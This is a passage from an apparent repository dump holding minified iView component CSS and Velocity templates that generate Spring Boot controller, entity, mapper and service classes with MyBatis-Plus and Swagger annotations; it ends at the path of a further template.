.ivu-rate-star:hover{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.ivu-rate-star-full,.ivu-rate-star-zero{position:relative}.ivu-rate-star-first{position:absolute;left:0;top:0;width:50%;height:100%;overflow:hidden;opacity:0}.ivu-rate-star-first,.ivu-rate-star-second{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-transition:all .3s ease;transition:all .3s ease;color:#e9e9e9;cursor:pointer}.ivu-rate-star-chart{display:inline-block;margin:0;padding:0;margin-right:8px;position:relative;font-family:Ionicons;-webkit-transition:all .3s ease;transition:all .3s ease}.ivu-rate-star-chart:hover{-webkit-transform:scale(1.1);-ms-transform:scale(1.1);transform:scale(1.1)}.ivu-rate-star-chart.ivu-rate-star-full .ivu-rate-star-first,.ivu-rate-star-chart.ivu-rate-star-full .ivu-rate-star-second{color:#f5a623}.ivu-rate-star-chart.ivu-rate-star-half .ivu-rate-star-first{opacity:1;color:#f5a623}.ivu-rate-star{display:inline-block;margin:0;padding:0;margin-right:8px;position:relative;font-family:Ionicons;-webkit-transition:all .3s ease;transition:all .3s ease}.ivu-rate-star:hover{-webkit-transform:scale(1.1);-ms-transform:scale(1.1);transform:scale(1.1)}.ivu-rate-star-content:before,.ivu-rate-star:before{color:#e9e9e9;cursor:pointer;content:\"\\F2BF\";-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out;display:block}.ivu-rate-star-content{position:absolute;left:0;top:0;width:50%;height:100%;overflow:hidden}.ivu-rate-star-content:before{color:transparent}.ivu-rate-star-full:before,.ivu-rate-star-half .ivu-rate-star-content:before{color:#f5a623}.ivu-rate-star-full:hover:before,.ivu-rate-star-half:hover .ivu-rate-star-content:before{color:#f7b84f}.ivu-rate-text{margin-left:8px;vertical-align:middle;display:inline-block;font-size:12px}.ivu-upload input[type=file]{display:none}.ivu-upload-list{margin-top:8px}.ivu-upload-list-file{padding:4px;color:#515a6e;border-radius:4px;-webkit-transition:background-color .2s ease-in-out;transition:background-color .2s ease-in-out;overflow:hidden;position:relative}.ivu-upload-list-file>span{cursor:pointer;-webkit-transition:color .2s ease-in-out;transition:color .2s ease-in-out}.ivu-upload-list-file>span i{display:inline-block;width:12px;height:12px;color:#515a6e;text-align:center}.ivu-upload-list-file:hover{background:#f3f3f3}.ivu-upload-list-file:hover>span{color:#2d8cf0}.ivu-upload-list-file:hover>span i{color:#515a6e}.ivu-upload-list-file:hover .ivu-upload-list-remove{opacity:1}.ivu-upload-list-remove{opacity:0;font-size:18px;cursor:pointer;float:right;margin-right:4px;color:#999;-webkit-transition:all .2s ease;transition:all .2s ease}.ivu-upload-list-remove:hover{color:#444}.ivu-upload-select{display:inline-block}.ivu-upload-drag{background:#fff;border:1px dashed #dcdee2;border-radius:4px;text-align:center;cursor:pointer;position:relative;overflow:hidden;-webkit-transition:border-color .2s ease;transition:border-color .2s ease}.ivu-upload-drag:hover{border:1px dashed #2d8cf0}.ivu-upload-dragOver{border:2px dashed #2d8cf0}.ivu-tree ul{list-style:none;margin:0;padding:0;font-size:12px}.ivu-tree ul.ivu-dropdown-menu{padding:0}.ivu-tree ul li{list-style:none;margin:8px 0;padding:0;white-space:nowrap;outline:0}.ivu-tree ul li.ivu-dropdown-item{margin:0;padding:7px 16px;white-space:nowrap}.ivu-tree li ul{margin:0;padding:0 0 0 18px}.ivu-tree-title{display:inline-block;margin:0;padding:0 4px;border-radius:3px;cursor:pointer;vertical-align:top;color:#515a6e;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.ivu-tree-title:hover{background-color:#eaf4fe}.ivu-tree-title-selected,.ivu-tree-title-selected:hover{background-color:#d5e8fc}.ivu-tree-arrow{cursor:pointer;width:12px;text-align:center;display:inline-block}.ivu-tree-arrow i{-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out;font-size:14px;vertical-align:middle}.ivu-tree-arrow-open i{-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.ivu-tree-arrow-disabled{cursor:not-allowed}.ivu-tree .ivu-checkbox-wrapper{margin-right:4px;margin-left:4px}.ivu-avatar{display:inline-block;text-align:center;background:#ccc;color:#fff;white-space:nowrap;position:relative;overflow:hidden;vertical-align:middle;width:32px;height:32px;line-height:32px;border-radius:16px}.ivu-avatar-image{background:0 0}.ivu-avatar .ivu-icon{position:relative;top:-1px}.ivu-avatar>*{line-height:32px}.ivu-avatar.ivu-avatar-icon{font-size:18px}.ivu-avatar-large{width:40px;height:40px;line-height:40px;border-radius:20px}.ivu-avatar-large>*{line-height:40px}.ivu-avatar-large.ivu-avatar-icon{font-size:24px}.ivu-avatar-large .ivu-icon{position:relative;top:-2px}.ivu-avatar-small{width:24px;height:24px;line-height:24px;border-radius:12px}.ivu-avatar-small>*{line-height:24px}.ivu-avatar-small.ivu-avatar-icon{font-size:14px}.ivu-avatar-square{border-radius:4px}.ivu-avatar>img{width:100%;height:100%}.ivu-color-picker{display:inline-block}.ivu-color-picker-hide{display:none}.ivu-color-picker-hide-drop{visibility:hidden}.ivu-color-picker-disabled{background-color:#f3f3f3;opacity:1;cursor:not-allowed;color:#ccc}.ivu-color-picker-disabled:hover{border-color:#e3e5e8}.ivu-color-picker>div:first-child:hover .ivu-input{border-color:#57a3f3}.ivu-color-picker>div:first-child.ivu-color-picker-disabled:hover .ivu-input{border-color:#e3e5e8}.ivu-color-picker .ivu-select-dropdown{padding:0}.ivu-color-picker-input.ivu-input:focus{-webkit-box-shadow:none;box-shadow:none}.ivu-color-picker-focused{border-color:#57a3f3;outline:0;-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-color-picker-rel{line-height:0}.ivu-color-picker-color{width:18px;height:18px;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==);border-radius:2px;position:relative;top:2px}.ivu-color-picker-color div{width:100%;height:100%;-webkit-box-shadow:inset 0 0 0 1px rgba(0,0,0,.15);box-shadow:inset 0 0 0 1px rgba(0,0,0,.15);border-radius:2px}.ivu-color-picker-color-empty{background:#fff;overflow:hidden;text-align:center}.ivu-color-picker-color-empty i{font-size:18px;vertical-align:baseline}.ivu-color-picker-color-focused{border-color:#57a3f3;outline:0;-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-color-picker-large .ivu-color-picker-color{width:20px;height:20px;top:1px}.ivu-color-picker-large .ivu-color-picker-color-empty i{font-size:20px}.ivu-color-picker-small .ivu-color-picker-color{width:14px;height:14px;top:3px}.ivu-color-picker-small .ivu-color-picker-color-empty i{font-size:14px}.ivu-color-picker-picker-wrapper{padding:8px 8px 0}.ivu-color-picker-picker-panel{width:240px;margin:0 auto;-webkit-box-sizing:initial;box-sizing:initial;position:relative}.ivu-color-picker-picker-alpha-slider,.ivu-color-picker-picker-hue-slider{height:10px;margin-top:8px;position:relative}.ivu-color-picker-picker-colors{margin-top:8px;overflow:hidden;border-radius:2px;-webkit-transition:border .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border .2s ease-in-out,box-shadow .2s ease-in-out;transition:border .2s ease-in-out,box-shadow .2s ease-in-out,-webkit-box-shadow .2s ease-in-out}.ivu-color-picker-picker-colors:focus{border-color:#57a3f3;outline:0;-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-color-picker-picker-colors-wrapper{display:inline;width:20px;height:20px;float:left;position:relative}.ivu-color-picker-picker-colors-wrapper-color{outline:0;display:block;position:absolute;width:16px;height:16px;margin:2px;cursor:pointer;border-radius:2px;-webkit-box-shadow:inset 0 0 0 1px rgba(0,0,0,.15);box-shadow:inset 0 0 0 1px rgba(0,0,0,.15)}.ivu-color-picker-picker-colors-wrapper-circle{width:4px;height:4px;-webkit-box-shadow:0 0 0 1.5px #fff,inset 0 0 1px 1px rgba(0,0,0,.3),0 0 1px 2px rgba(0,0,0,.4);box-shadow:0 0 0 1.5px #fff,inset 0 0 1px 1px rgba(0,0,0,.3),0 0 1px 2px rgba(0,0,0,.4);border-radius:50%;-webkit-transform:translate(-2px,-2px);-ms-transform:translate(-2px,-2px);transform:translate(-2px,-2px);position:absolute;top:10px;left:10px;cursor:pointer}.ivu-color-picker-picker .ivu-picker-confirm{margin-top:8px}.ivu-color-picker-saturation-wrapper{width:100%;padding-bottom:75%;position:relative;-webkit-transition:border .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border .2s ease-in-out,box-shadow .2s ease-in-out;transition:border .2s ease-in-out,box-shadow .2s ease-in-out,-webkit-box-shadow .2s ease-in-out}.ivu-color-picker-saturation-wrapper:focus{border-color:#57a3f3;outline:0;-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-color-picker-saturation,.ivu-color-picker-saturation--black,.ivu-color-picker-saturation--white{cursor:pointer;position:absolute;top:0;left:0;right:0;bottom:0}.ivu-color-picker-saturation--white{background:-webkit-gradient(linear,left top,right top,from(#fff),to(rgba(255,255,255,0)));background:linear-gradient(to right,#fff,rgba(255,255,255,0))}.ivu-color-picker-saturation--black{background:-webkit-gradient(linear,left bottom,left top,from(#000),to(rgba(0,0,0,0)));background:linear-gradient(to top,#000,rgba(0,0,0,0))}.ivu-color-picker-saturation-pointer{cursor:pointer;position:absolute}.ivu-color-picker-saturation-circle{width:4px;height:4px;-webkit-box-shadow:0 0 0 1.5px #fff,inset 0 0 1px 1px rgba(0,0,0,.3),0 0 1px 2px rgba(0,0,0,.4);box-shadow:0 0 0 1.5px #fff,inset 0 0 1px 1px rgba(0,0,0,.3),0 0 1px 2px rgba(0,0,0,.4);border-radius:50%;-webkit-transform:translate(-2px,-2px);-ms-transform:translate(-2px,-2px);transform:translate(-2px,-2px)}.ivu-color-picker-hue{position:absolute;top:0;right:0;bottom:0;left:0;border-radius:2px;background:-webkit-gradient(linear,left top,right top,from(red),color-stop(17%,#ff0),color-stop(33%,#0f0),color-stop(50%,#0ff),color-stop(67%,#00f),color-stop(83%,#f0f),to(red));background:linear-gradient(to right,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red 100%);-webkit-transition:border .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border .2s ease-in-out,box-shadow .2s ease-in-out;transition:border .2s ease-in-out,box-shadow .2s ease-in-out,-webkit-box-shadow .2s ease-in-out}.ivu-color-picker-hue:focus{border-color:#57a3f3;outline:0;-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-color-picker-hue-container{cursor:pointer;margin:0 2px;position:relative;height:100%}.ivu-color-picker-hue-pointer{z-index:2;position:absolute}.ivu-color-picker-hue-picker{cursor:pointer;margin-top:1px;width:4px;border-radius:1px;height:8px;-webkit-box-shadow:0 0 2px rgba(0,0,0,.6);box-shadow:0 0 2px rgba(0,0,0,.6);background:#fff;-webkit-transform:translateX(-2px);-ms-transform:translateX(-2px);transform:translateX(-2px)}.ivu-color-picker-alpha{position:absolute;top:0;right:0;bottom:0;left:0;border-radius:2px;-webkit-transition:border .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border .2s ease-in-out,-webkit-box-shadow .2s ease-in-out;transition:border .2s ease-in-out,box-shadow .2s ease-in-out;transition:border .2s ease-in-out,box-shadow .2s ease-in-out,-webkit-box-shadow .2s ease-in-out}.ivu-color-picker-alpha:focus{border-color:#57a3f3;outline:0;-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-color-picker-alpha-checkboard-wrap{position:absolute;top:0;right:0;bottom:0;left:0;overflow:hidden;border-radius:2px}.ivu-color-picker-alpha-checkerboard{position:absolute;top:0;right:0;bottom:0;left:0;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.ivu-color-picker-alpha-gradient{position:absolute;top:0;right:0;bottom:0;left:0;border-radius:2px}.ivu-color-picker-alpha-container{cursor:pointer;position:relative;z-index:2;height:100%;margin:0 3px}.ivu-color-picker-alpha-pointer{z-index:2;position:absolute}.ivu-color-picker-alpha-picker{cursor:pointer;width:4px;border-radius:1px;height:8px;-webkit-box-shadow:0 0 2px rgba(0,0,0,.6);box-shadow:0 0 2px rgba(0,0,0,.6);background:#fff;margin-top:1px;-webkit-transform:translateX(-2px);-ms-transform:translateX(-2px);transform:translateX(-2px)}.ivu-color-picker-confirm{margin-top:8px;position:relative;border-top:1px solid #e8eaec;text-align:right;padding:8px;clear:both}.ivu-color-picker-confirm-color{position:absolute;top:11px;left:8px}.ivu-color-picker-confirm-color-editable{top:8px}.ivu-auto-complete .ivu-select-not-found{display:none}.ivu-auto-complete .ivu-icon-ios-close{display:none}.ivu-auto-complete:hover .ivu-icon-ios-close{display:inline-block}.ivu-auto-complete.ivu-select-dropdown{max-height:none}.ivu-divider{font-family:\"Helvetica Neue\",Helvetica,\"PingFang SC\",\"Hiragino Sans GB\",\"Microsoft YaHei\",\"微软雅黑\",Arial,sans-serif;font-size:14px;line-height:1.5;color:#515a6e;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;padding:0;list-style:none;background:#e8eaec}.ivu-divider,.ivu-divider-vertical{margin:0 8px;display:inline-block;height:.9em;width:1px;vertical-align:middle;position:relative;top:-.06em}.ivu-divider-horizontal{display:block;height:1px;width:100%;min-width:100%;margin:24px 0;clear:both}.ivu-divider-horizontal.ivu-divider-with-text-center,.ivu-divider-horizontal.ivu-divider-with-text-left,.ivu-divider-horizontal.ivu-divider-with-text-right{display:table;white-space:nowrap;text-align:center;background:0 0;font-weight:500;color:#17233d;font-size:16px;margin:16px 0}.ivu-divider-horizontal.ivu-divider-with-text-center:after,.ivu-divider-horizontal.ivu-divider-with-text-center:before,.ivu-divider-horizontal.ivu-divider-with-text-left:after,.ivu-divider-horizontal.ivu-divider-with-text-left:before,.ivu-divider-horizontal.ivu-divider-with-text-right:after,.ivu-divider-horizontal.ivu-divider-with-text-right:before{content:'';display:table-cell;position:relative;top:50%;width:50%;border-top:1px solid #e8eaec;-webkit-transform:translateY(50%);-ms-transform:translateY(50%);transform:translateY(50%)}.ivu-divider-horizontal.ivu-divider-small.ivu-divider-with-text-center,.ivu-divider-horizontal.ivu-divider-small.ivu-divider-with-text-left,.ivu-divider-horizontal.ivu-divider-small.ivu-divider-with-text-right{font-size:14px;margin:8px 0}.ivu-divider-horizontal.ivu-divider-with-text-left .ivu-divider-inner-text,.ivu-divider-horizontal.ivu-divider-with-text-right .ivu-divider-inner-text{display:inline-block;padding:0 10px}.ivu-divider-horizontal.ivu-divider-with-text-left:before{top:50%;width:5%}.ivu-divider-horizontal.ivu-divider-with-text-left:after{top:50%;width:95%}.ivu-divider-horizontal.ivu-divider-with-text-right:before{top:50%;width:95%}.ivu-divider-horizontal.ivu-divider-with-text-right:after{top:50%;width:5%}.ivu-divider-inner-text{display:inline-block;padding:0 24px}.ivu-divider-dashed{background:0 0;border-top:1px dashed #e8eaec}.ivu-divider-horizontal.ivu-divider-with-text-left.ivu-divider-dashed,.ivu-divider-horizontal.ivu-divider-with-text-right.ivu-divider-dashed,.ivu-divider-horizontal.ivu-divider-with-text.ivu-divider-dashed{border-top:0}.ivu-divider-horizontal.ivu-divider-with-text-left.ivu-divider-dashed:after,.ivu-divider-horizontal.ivu-divider-with-text-left.ivu-divider-dashed:before,.ivu-divider-horizontal.ivu-divider-with-text-right.ivu-divider-dashed:after,.ivu-divider-horizontal.ivu-divider-with-text-right.ivu-divider-dashed:before,.ivu-divider-horizontal.ivu-divider-with-text.ivu-divider-dashed:after,.ivu-divider-horizontal.ivu-divider-with-text.ivu-divider-dashed:before{border-style:dashed none none}.ivu-anchor{position:relative;padding-left:2px}.ivu-anchor-wrapper{overflow:auto;padding-left:4px;margin-left:-4px}.ivu-anchor-ink{position:absolute;height:100%;left:0;top:0}.ivu-anchor-ink:before{content:' ';position:relative;width:2px;height:100%;display:block;background-color:#e8eaec;margin:0 auto}.ivu-anchor-ink-ball{display:inline-block;position:absolute;width:8px;height:8px;border-radius:50%;border:2px solid #2d8cf0;background-color:#fff;left:50%;-webkit-transition:top .2s ease-in-out;transition:top .2s ease-in-out;-webkit-transform:translate(-50%,2px);-ms-transform:translate(-50%,2px);transform:translate(-50%,2px)}.ivu-anchor.fixed .ivu-anchor-ink .ivu-anchor-ink-ball{display:none}.ivu-anchor-link{padding:8px 0 8px 16px;line-height:1}.ivu-anchor-link-title{display:block;position:relative;-webkit-transition:all .3s;transition:all .3s;color:#515a6e;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;margin-bottom:8px}.ivu-anchor-link-title:only-child{margin-bottom:0}.ivu-anchor-link-active>.ivu-anchor-link-title{color:#2d8cf0}.ivu-anchor-link .ivu-anchor-link{padding-top:6px;padding-bottom:6px}.ivu-time-with-hash{cursor:pointer}.ivu-time-with-hash:hover{text-decoration:underline}.ivu-cell{position:relative;overflow:hidden}.ivu-cell-link,.ivu-cell-link:active,.ivu-cell-link:hover{color:inherit}.ivu-cell-icon{display:inline-block;margin-right:4px;font-size:14px;vertical-align:middle}.ivu-cell-icon:empty{display:none}.ivu-cell-main{display:inline-block;vertical-align:middle}.ivu-cell-title{line-height:24px;font-size:14px}.ivu-cell-label{line-height:1.2;font-size:12px;color:#808695}.ivu-cell-selected .ivu-cell-label{color:inherit}.ivu-cell-selected,.ivu-cell.ivu-cell-selected:hover{background:#f0faff}.ivu-cell-footer{display:inline-block;position:absolute;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%);top:50%;right:16px;color:#515a6e}.ivu-cell-with-link .ivu-cell-footer{right:32px}.ivu-cell-selected .ivu-cell-footer{color:inherit}.ivu-cell-arrow{display:inline-block;position:absolute;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%);top:50%;right:16px;font-size:14px}.ivu-cell:focus{background:#f3f3f3;outline:0}.ivu-cell-selected:focus{background:rgba(40,123,211,.91)}.ivu-cell{margin:0;line-height:normal;padding:7px 16px;clear:both;color:#515a6e;font-size:12px!important;white-space:nowrap;list-style:none;cursor:pointer;-webkit-transition:background .2s ease-in-out;transition:background .2s ease-in-out}.ivu-cell:hover{background:#f3f3f3}.ivu-cell-focus{background:#f3f3f3}.ivu-cell-disabled{color:#c5c8ce;cursor:not-allowed}.ivu-cell-disabled:hover{color:#c5c8ce;background-color:#fff;cursor:not-allowed}.ivu-cell-selected,.ivu-cell-selected:hover{color:#2d8cf0}.ivu-cell-divided{margin-top:5px;border-top:1px solid #e8eaec}.ivu-cell-divided:before{content:'';height:5px;display:block;margin:0 -16px;background-color:#fff;position:relative;top:-7px}.ivu-cell-large .ivu-cell{padding:7px 16px 8px;font-size:14px!important}@-moz-document url-prefix(){.ivu-cell{white-space:normal}}.ivu-drawer{width:auto;height:100%;position:fixed;top:0}.ivu-drawer-inner{position:absolute}.ivu-drawer-left{left:0}.ivu-drawer-right{right:0}.ivu-drawer-hidden{display:none!important}.ivu-drawer-wrap{position:fixed;overflow:auto;top:0;right:0;bottom:0;left:0;z-index:1000;-webkit-overflow-scrolling:touch;outline:0}.ivu-drawer-wrap-inner{position:absolute;overflow:hidden}.ivu-drawer-wrap-dragging{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ivu-drawer-wrap *{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-tap-highlight-color:transparent}.ivu-drawer-mask{position:fixed;top:0;bottom:0;left:0;right:0;background-color:rgba(55,55,55,.6);height:100%;z-index:1000}.ivu-drawer-mask-hidden{display:none}.ivu-drawer-mask-inner{position:absolute}.ivu-drawer-content{width:100%;height:100%;position:absolute;top:0;bottom:0;background-color:#fff;border:0;background-clip:padding-box;-webkit-box-shadow:0 4px 12px rgba(0,0,0,.15);box-shadow:0 4px 12px rgba(0,0,0,.15)}.ivu-drawer-content-no-mask{pointer-events:auto}.ivu-drawer-header{border-bottom:1px solid #e8eaec;padding:14px 16px;line-height:1}.ivu-drawer-header p,.ivu-drawer-header-inner{display:inline-block;width:100%;height:20px;line-height:20px;font-size:14px;color:#17233d;font-weight:700;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ivu-drawer-header p i,.ivu-drawer-header p span{vertical-align:middle}.ivu-drawer-close{z-index:1;font-size:12px;position:absolute;right:8px;top:8px;overflow:hidden;cursor:pointer}.ivu-drawer-close .ivu-icon-ios-close{font-size:31px;color:#999;-webkit-transition:color .2s ease;transition:color .2s ease;position:relative;top:1px}.ivu-drawer-close .ivu-icon-ios-close:hover{color:#444}.ivu-drawer-body{width:100%;height:calc(100% - 51px);padding:16px;font-size:12px;line-height:1.5;word-wrap:break-word;position:absolute;overflow:auto}.ivu-drawer-no-header .ivu-drawer-body{height:100%}.ivu-drawer-no-mask{pointer-events:none}.ivu-drawer-no-mask .ivu-drawer-drag{pointer-events:auto}.ivu-drawer-drag{top:0;height:100%;width:0;position:absolute}.ivu-drawer-drag-left{right:0}.ivu-drawer-drag-move-trigger{width:8px;height:100px;line-height:100px;position:absolute;top:50%;background:#f3f3f3;-webkit-transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%);transform:translate(-50%,-50%);border-radius:4px/6px;-webkit-box-shadow:0 0 1px 1px rgba(0,0,0,.2);box-shadow:0 0 1px 1px rgba(0,0,0,.2);cursor:col-resize}.ivu-drawer-drag-move-trigger-point{display:inline-block;width:50%;-webkit-transform:translateX(50%);-ms-transform:translateX(50%);transform:translateX(50%)}.ivu-drawer-drag-move-trigger-point i{display:block;border-bottom:1px solid silver;padding-bottom:2px}"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/template/Controller.java.vm",
    "content": "package ${package}.${moduleName}.controller;\n\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.xkcoding.common.R;\nimport com.xkcoding.scaffold.log.annotations.ApiLog;\nimport ${package}.${moduleName}.entity.${className};\nimport ${package}.${moduleName}.service.${className}Service;\nimport lombok.AllArgsConstructor;\nimport org.springframework.web.bind.annotation.*;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\n\n/**\n * <p>\n * ${comments}\n * </p>\n *\n * @package:  ${package}.${moduleName}.controller\n * @description: ${comments}\n * @author: ${author}\n * @date: Created in ${datetime}\n * @copyright: Copyright (c) ${year}\n * @version: V1.0\n * @modified: ${author}\n */\n@RestController\n@AllArgsConstructor\n@RequestMapping(\"/${pathName}\")\n@Api(description = \"${className}Controller\", tags = {\"${comments}\"})\npublic class ${className}Controller {\n\n    private final ${className}Service ${classname}Service;\n\n    /**\n     * 分页查询${comments}\n     * @param page 分页对象\n     * @param ${classname} ${comments}\n     * @return R\n     */\n    @GetMapping(\"\")\n    @ApiOperation(value = \"分页查询${comments}\", notes = \"分页查询${comments}\")\n    @ApiImplicitParams({\n            @ApiImplicitParam(name = \"page\", value = \"分页参数\", required = true),\n            @ApiImplicitParam(name = \"${classname}\", value = \"查询条件\", required = true)\n    })\n    public R list${className}(Page page, ${className} ${classname}) {\n      return new R<>(${classname}Service.page(page,Wrappers.query(${classname})));\n    }\n\n\n    /**\n     * 通过id查询${comments}\n     * @param ${pk.lowerAttrName} id\n     * @return R\n     */\n    @GetMapping(\"/{${pk.lowerAttrName}}\")\n    @ApiOperation(value = \"通过id查询${comments}\", notes = \"通过id查询${comments}\")\n    @ApiImplicitParams({\n            @ApiImplicitParam(name = \"${pk.lowerAttrName}\", value = \"主键id\", required = true)\n    })\n    public R get${className}(@PathVariable(\"${pk.lowerAttrName}\") ${pk.attrType} ${pk.lowerAttrName}){\n      return new R<>(${classname}Service.getById(${pk.lowerAttrName}));\n    }\n\n    /**\n     * 新增${comments}\n     * @param ${classname} ${comments}\n     * @return R\n     */\n    @ApiLog(\"新增${comments}\")\n    @PostMapping\n    @ApiOperation(value = \"新增${comments}\", notes = \"新增${comments}\")\n    public R save${className}(@RequestBody ${className} ${classname}){\n      return new R<>(${classname}Service.save(${classname}));\n    }\n\n    /**\n     * 修改${comments}\n     * @param ${pk.lowerAttrName} id\n     * @param ${classname} ${comments}\n     * @return R\n     */\n    @ApiLog(\"修改${comments}\")\n    @PutMapping(\"/{${pk.lowerAttrName}}\")\n    @ApiOperation(value = \"修改${comments}\", notes = \"修改${comments}\")\n    @ApiImplicitParams({\n            @ApiImplicitParam(name = \"${pk.lowerAttrName}\", value = \"主键id\", required = true)\n    })\n    public R update${className}(@PathVariable ${pk.attrType} ${pk.lowerAttrName}, @RequestBody ${className} ${classname}){\n      return new R<>(${classname}Service.updateById(${classname}));\n    }\n\n    /**\n     * 通过id删除${comments}\n     * @param ${pk.lowerAttrName} id\n     * @return R\n     */\n    @ApiLog(\"删除${comments}\")\n    @DeleteMapping(\"/{${pk.lowerAttrName}}\")\n    @ApiOperation(value = \"删除${comments}\", notes = \"删除${comments}\")\n    @ApiImplicitParams({\n            @ApiImplicitParam(name = \"${pk.lowerAttrName}\", value = \"主键id\", required = true)\n    })\n    public R delete${className}(@PathVariable ${pk.attrType} ${pk.lowerAttrName}){\n      return new R<>(${classname}Service.removeById(${pk.lowerAttrName}));\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/template/Entity.java.vm",
    "content": "package ${package}.${moduleName}.entity;\n\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.baomidou.mybatisplus.extension.activerecord.Model;\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\n#if(${hasBigDecimal})\nimport java.math.BigDecimal;\n#end\nimport java.io.Serializable;\nimport java.time.LocalDateTime;\n\n/**\n * <p>\n * ${comments}\n * </p>\n *\n * @package:  ${package}.${moduleName}.entity\n * @description: ${comments}\n * @author: ${author}\n * @date: Created in ${datetime}\n * @copyright: Copyright (c) ${year}\n * @version: V1.0\n * @modified: ${author}\n */\n@Data\n@TableName(\"${tableName}\")\n@ApiModel(description = \"${comments}\")\n@EqualsAndHashCode(callSuper = true)\npublic class ${className} extends Model<${className}> {\n    private static final long serialVersionUID = 1L;\n\n  #foreach ($column in $columns)\n    /**\n     * $column.comments\n     */\n    #if($column.columnName == $pk.columnName)\n    @TableId\n    #end\n    @ApiModelProperty(value = \"$column.comments\")\n    private $column.attrType $column.lowerAttrName;\n  #end\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/template/Mapper.java.vm",
    "content": "package ${package}.${moduleName}.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.springframework.stereotype.Component;\nimport ${package}.${moduleName}.entity.${className};\n\n/**\n * <p>\n * ${comments}\n * </p>\n *\n * @package:  ${package}.${moduleName}.mapper\n * @description: ${comments}\n * @author: ${author}\n * @date: Created in ${datetime}\n * @copyright: Copyright (c) ${year}\n * @version: V1.0\n * @modified: ${author}\n */\n@Component\npublic interface ${className}Mapper extends BaseMapper<${className}> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/template/Mapper.xml.vm",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"${package}.${moduleName}.mapper.${className}Mapper\">\n  <resultMap id=\"${classname}Map\" type=\"${package}.${moduleName}.entity.${className}\">\n    #foreach($column in $columns)\n    #if($column.lowerAttrName==$pk.lowerAttrName)\n    <id property=\"${pk.lowerAttrName}\" jdbcType=\"${pk.dataType}\" column=\"${pk.columnName}\"/>\n    #else\n    <result property=\"${column.lowerAttrName}\" jdbcType=\"${column.dataType}\" column=\"${column.columnName}\"/>\n    #end\n    #end\n  </resultMap>\n</mapper>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/template/Service.java.vm",
    "content": "package ${package}.${moduleName}.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport ${package}.${moduleName}.entity.${className};\n\n/**\n * <p>\n * ${comments}\n * </p>\n *\n * @package:  ${package}.${moduleName}.service\n * @description: ${comments}\n * @author: ${author}\n * @date: Created in ${datetime}\n * @copyright: Copyright (c) ${year}\n * @version: V1.0\n * @modified: ${author}\n */\npublic interface ${className}Service extends IService<${className}> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/resources/template/ServiceImpl.java.vm",
